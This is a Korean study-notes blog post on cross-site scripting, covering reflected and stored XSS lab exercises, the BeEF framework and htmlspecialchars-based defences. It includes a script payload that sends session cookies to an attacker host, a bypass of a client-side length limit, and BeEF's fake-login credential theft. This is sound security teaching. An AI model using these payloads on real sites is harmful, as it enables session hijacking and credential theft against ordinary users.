화이트 해커를 위한 웹 해킹의 기술

Step5. 크로스 사이트 스크립팅 공격

메리_99 2021. 2. 25. 15:01
반응형

Step5. 크로스 사이트 스크립팅 공격

  • 크로스 사이트 스크립팅 공격은 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 공격이다.

  • 이 공격은 다른 웹 공격과 달리 서버쪽이 아닌 서버의 취약점을 이용하여 클라이언트를 공격한다.

  • 이 공격은 자바 스크립트를 이용하여 공격을 수행하는 특징 때문에 다양한 형태의 공격을 시도할 수 있다.

  • 리플렉티드 크로스 사이트 스크립팅 공격과 스토어드 크로스 사이트 스크립팅 공격으로 구분한다.

  • DOM 기반의 XSS공격도 있다.

리플렉티드 크로스 사이트 스크립팅(Reflected XSS) 공격 개요

  • 취약점 : 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점(반사)
  • 공격자는 취약점을 이용해 게시판이나 이메일 피싱을 이용하여 악의적인 스크립트 코드가 담긴 요청을 사용자가 실행하도록 한다.

방법

  1. 공격자가 공격 대상으로 삼은 사용자에게 이메일 등을 이용하여 피싱을 하고(이메일, 게시판, sns등) 피싱을 할 때, 세션 쿠키를 탈취하는 스크립트 코드를 삽입한 HTTP 요청 링크를 포함시킨다.

  2. 사용자가 이 링크를 클릭하게 되면, 스크립트 코드가 삽입된 요청이 웹 사이트로 전송된다.

  3. 이 때 리플렉티드 크로스 사이트 스크립팅 취약점이 있는 웹 사이트는 입력된 스크립트를 반사하여 그대로 웹 페이지에 출력한다.

  4. 웹 페이지를 읽는 웹 브라우저는 자동으로 스크립트를 실행하게 되고, 그 결과 세션 쿠키를 공격자에게 전달한다.

  5. 공격자가 이 세션 쿠키를 사용하면 그 사용자의 권한으로 접속할 수 있게 된다.

리플렉티드 크로스 사이트 스크립팅(Reflected XSS) 공격 실습

  • 먼저 테스트로 hi를 쳐본다.

'hi'를 입력

  • 그러면 위와 같이 사용자가 입력한 값이 그대로 출력되는데, 이 경우 취약점이 존재할 가능성이 높다.

  • 그렇다면 스크립트 코드를 이용해 다시 테스트해본다

'<script>alert(1)</script>'를 입력했을 때 출력

  • 위와 같이 스크립트 코드가 실행될 경우, 취약점이 존재함을 파악할 수 있다.

  • 공격자의 호스트의 웹 서버를 통해 세션쿠키를 전달(스크립트 코드로 전달)받기 위해 웹 서버를 시작한다.

웹 서버가 켜짐(터미널 ip addr로 웹 서버 ip 확인 후 웹 브라우저 접속)

  • 서버를 킨 후 공격자는 웹 서버의 로그를 받기 위해 명령어를 실행한다.

웹 서버의 로그 관제

  • 사용자의 세션 쿠키를 알아 내기 위해 밑의 악성 스크립트를 입력한다.

  • <script>document.location='http://192.168.56.4/cookie?'=document.cooki</script>

  • 이 스크립트는 document.location을 사용하여 지정된 위치로 리다이렉트시키는 스크립트다.

  • 한마디로 말하면, 웹 브라우저가 공격자의 호스트로 접속하는 것이다.

공격자 호스트 로그에 출력
사용자 웹 브라우저

  • 공격이 실행되면, 위와 같이 공격자는 세션 쿠키 정보(인코딩되어 출력)를 흭득하게 되고, 사용자는 공격자가 입력한 URL이 호스트에 존재하지 않기 때문에 에러가 발생한다.(실제 상황에서는 가짜 웹 페이지를 생성할 것이다.)

  • 물론 실제 상황이라면 공격자가 저런 스크립트를 실행할리는 없다. 따라서 실제에서는 이메일, 게시판, SNS, 문자 메시지 등 여러 가지 매체를 이용하여 해당 크로스 사이트 스크립팅 취약점이 있는 URL의 링크를 다른 사용자로 하여금 클릭하도록 한다.

BeEF 공격 프레임 워크

  • 브라우저 익스플로잇 프레임워크 프로그램으로, 자체적으로 제공하는 자바스크립트로 된 후킹 코드를 사용자가 실행하면 그 사용자의 호스트 대상으로 여러가지 공격을 실행할 수 있도록 하는 프로그램.

실습

  • 칼리리눅스 메뉴에서 beef xss framework를 실행한다.

beef 실행

  • 실행하게 되면 터미널에서 관리 인터페이스로 접속할 수 있는 URL과 후크 스크립트를 알려주는데, 공격시 이 후크 스크립트를 삽입하면 된다.

BeEF 실행시 출력

  • 관리 인터페이스에 접속한다.

관리 인터페이스 접속

  • 후크 스크립트를 웹 페이지에 삽입한다.

웹 페이지에 후크 스크립트를 삽입
BeEF 관리 인터페이스

  • 위와 같이 호스트의 각종 정보가 출력된다.

  • BeEF에서는 커멘드 탭에서 추가로 공격을 수행할 수 있는데, 예를 들어 Pretty Theft라는 기능을 보면 유명 SNS 사이트의 인터페이스를 모방하여, 아이디와 패스워드를 유도한다.

Pretty Theft 사용(FaceBook)
BeEF에서 Pretty Theft 사용시 사용자 웹 페이지

  • 위에서 사용자가 자신의 아이디와 패스워드를 입력하면 그대로 BeEF 관리 인터페이스에서 볼 수 있다.

스토어드 크로스 사이트 스크립팅(Stored XSS) 공격 실습

  • Reflected XSS와 같이 방명록에 악성 스크립트를 남긴다.

세션 쿠키를 방명록에 저장

  • 위와 같이 메시지의 글자수가 제한될 수 있는데, 이는 클라이언트측에서 검사하도록 되어 있기 때문에 마우스 우클릭의 Inspect Element나 개발자 도구를 들어가 바꾸어 준다.

글자수 제한 우회

  • 다시 스크립트를 입력해준다.

스크립트 입력

  • 이렇게 되면 공격자의 호스트의 로그에 다시 쿠키 정보가 들어오게 된다.

Reflected XSS와 같은 방법으로 본 공격자 호스트의 로그

  • Stored XSS는 위와 같이 사용자의 세션 정보만 받아오는 것이 끝이 아니라 방명록을 보는 모든 사용자가 공격에 당할 수 있다.

크로스 사이트 스크립팅 공격 대응

  • 가장 좋은 방법은 스크립트가 입력되어 실행되지 않도록 하고 단순히 문자열로 표시하도록 만드는 것이 가장 좋다.

impossible 모드의 소스코드(Reflected)

  • 위의 코드를 보면 htmlspecialchars() 함수가 보이는 데, 이 함수는 &, ", ', <, >와 같은 특수문자들을 HTML 엔티티로 변환해주는 함수이다.

  • 이렇게 변환된 문자열은 웹 브라우저가 읽더라도 더 이상 스크립트로 처리하지 않게 된다.

  • 그러나 화면에 표시할 때는 원래의 특수문자로 보여주기 때문에 원래값이 출력된다.

impossible 모드의 출력

  • 대부분의 웹 프로그래밍 언어가 이름은 다르지만 htmlspecialchars() 함수와 동일한 역할을 하는 빌트인 라이브러리나 함수를 제공한다.

  • 입력값 검증을 통해 파라미터의 입력값에 불필요한 문자열이 포함되지 않도록 하는 것 역시 공격을 차단할 수 있으므로 권장된다.


위 글은 '화이트 해커를 위한 웹 해킹의 기술 최봉환 저'를 공부하며 쓴 글 입니다.
728x90